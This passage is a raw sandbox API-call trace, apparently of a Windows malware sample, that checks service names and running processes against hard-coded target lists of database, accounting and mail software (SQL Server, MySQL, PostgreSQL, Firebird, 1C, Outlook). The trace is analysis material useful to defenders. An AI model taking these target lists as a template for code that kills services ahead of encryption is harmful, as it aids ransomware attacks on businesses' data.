(lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0039.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0039.440] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0039.440] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0039.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0039.440] lstrlenW (lpString="MpsSvc") returned 6 [0039.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0039.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0039.440] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0039.440] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0039.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0039.440] lstrlenW (lpString="Netman") returned 6 [0039.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0039.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0039.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0039.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0039.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0039.440] lstrlenW (lpString="netprofm") returned 8 [0039.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0039.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0039.440] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0039.440] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0039.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0039.440] lstrlenW (lpString="NlaSvc") returned 6 [0039.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0039.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0039.440] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0039.441] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0039.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0039.441] lstrlenW (lpString="nsi") returned 3 [0039.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0039.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0039.441] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0039.441] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0039.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0039.441] lstrlenW (lpString="PcaSvc") returned 6 [0039.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0039.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0039.441] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0039.441] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0039.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0039.441] lstrlenW (lpString="PlugPlay") returned 8 [0039.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0039.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0039.441] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0039.441] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0039.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0039.441] lstrlenW (lpString="Power") returned 5 [0039.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0039.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0039.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0039.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0039.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0039.441] lstrlenW (lpString="ProfSvc") returned 7 [0039.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0039.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0039.441] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0039.441] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0039.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0039.441] lstrlenW (lpString="RpcEptMapper") returned 12 [0039.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.442] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0039.442] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0039.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0039.442] lstrlenW (lpString="RpcSs") returned 5 [0039.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0039.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0039.442] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0039.442] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0039.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0039.442] lstrlenW (lpString="SamSs") returned 5 [0039.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0039.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0039.442] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0039.442] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0039.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0039.442] lstrlenW (lpString="Schedule") returned 8 [0039.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0039.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0039.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0039.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0039.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0039.442] lstrlenW (lpString="SENS") returned 4 [0039.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0039.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0039.442] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0039.442] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0039.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0039.442] lstrlenW (lpString="ShellHWDetection") returned 16 [0039.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.442] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0039.442] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0039.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0039.443] lstrlenW (lpString="Spooler") returned 7 [0039.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0039.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0039.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0039.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0039.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0039.443] lstrlenW (lpString="SysMain") returned 7 [0039.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0039.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0039.443] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0039.443] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0039.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0039.443] lstrlenW (lpString="Themes") returned 6 [0039.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0039.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0039.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0039.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0039.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0039.443] lstrlenW (lpString="TrkWks") returned 6 [0039.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0039.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0039.443] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0039.443] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0039.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0039.443] lstrlenW (lpString="UxSms") returned 5 [0039.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0039.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0039.443] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0039.443] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0039.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0039.444] lstrlenW (lpString="VSS") returned 3 [0039.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0039.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0039.444] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0039.444] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0039.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0039.444] lstrlenW (lpString="WdiServiceHost") returned 14 [0039.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.444] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0039.444] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0039.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0039.444] lstrlenW (lpString="WdiSystemHost") returned 13 [0039.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.444] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0039.444] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0039.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0039.444] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0039.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.444] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0039.444] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0039.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0039.444] lstrlenW (lpString="Winmgmt") returned 7 [0039.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0039.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0039.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0039.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0039.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0039.444] lstrlenW (lpString="WPDBusEnum") returned 10 [0039.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.445] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0039.445] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0039.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0039.445] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8c2e8 | out: hHeap=0x220000) returned 1 [0039.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0039.447] Process32FirstW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.448] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.448] lstrlenW (lpString="System") returned 6 [0039.448] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0039.448] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0039.448] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0039.449] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0039.449] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0039.449] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0039.449] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.449] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.449] lstrlenW (lpString="smss.exe") returned 8 [0039.449] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0039.449] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0039.449] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0039.449] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0039.449] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0039.449] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0039.449] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.450] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.450] lstrlenW (lpString="csrss.exe") returned 9 [0039.450] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.450] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.450] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.450] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.450] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.450] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.450] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.450] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.451] lstrlenW (lpString="wininit.exe") returned 11 [0039.451] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0039.451] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0039.451] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0039.451] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0039.451] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0039.451] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0039.451] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0039.451] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.452] lstrlenW (lpString="csrss.exe") returned 9 [0039.452] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.452] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.453] lstrlenW (lpString="winlogon.exe") returned 12 [0039.453] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.453] lstrlenW (lpString="services.exe") returned 12 [0039.453] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.454] lstrlenW (lpString="lsass.exe") returned 9 [0039.454] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0039.455] lstrlenW (lpString="lsm.exe") returned 7 [0039.455] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.455] lstrlenW (lpString="svchost.exe") returned 11 [0039.455] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.456] lstrlenW (lpString="svchost.exe") returned 11 [0039.456] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.457] lstrlenW (lpString="svchost.exe") returned 11 [0039.457] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.457] lstrlenW (lpString="svchost.exe") returned 11 [0039.457] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.458] lstrlenW (lpString="svchost.exe") returned 11 [0039.458] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.459] lstrlenW (lpString="audiodg.exe") returned 11 [0039.459] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.459] lstrlenW (lpString="svchost.exe") returned 11 [0039.459] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.460] lstrlenW (lpString="svchost.exe") returned 11 [0039.460] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.461] lstrlenW (lpString="dwm.exe") returned 7 [0039.461] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.461] lstrlenW (lpString="explorer.exe") returned 12 [0039.461] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.462] lstrlenW (lpString="spoolsv.exe") returned 11 [0039.462] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.464] lstrlenW (lpString="taskhost.exe") returned 12 [0039.464] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.465] lstrlenW (lpString="svchost.exe") returned 11 [0039.465] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0039.465] lstrlenW (lpString="taskeng.exe") returned 11 [0039.465] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.466] lstrlenW (lpString="taskhost.exe") returned 12 [0039.466] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0039.466] lstrlenW (lpString="presidential.exe") returned 16 [0039.467] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0039.467] lstrlenW (lpString="ol-filing.exe") returned 13 [0039.467] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0039.468] lstrlenW (lpString="overcome.exe") returned 12 [0039.468] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0039.469] lstrlenW (lpString="declinedreferral.exe") returned 20 [0039.469] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0039.469] lstrlenW (lpString="franciscotrack.exe") returned 18 [0039.469] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0039.470] lstrlenW (lpString="nicholas.exe") returned 12 [0039.470] Process32NextW (in: hSnapshot=0x194, lppe=0x20bfd34 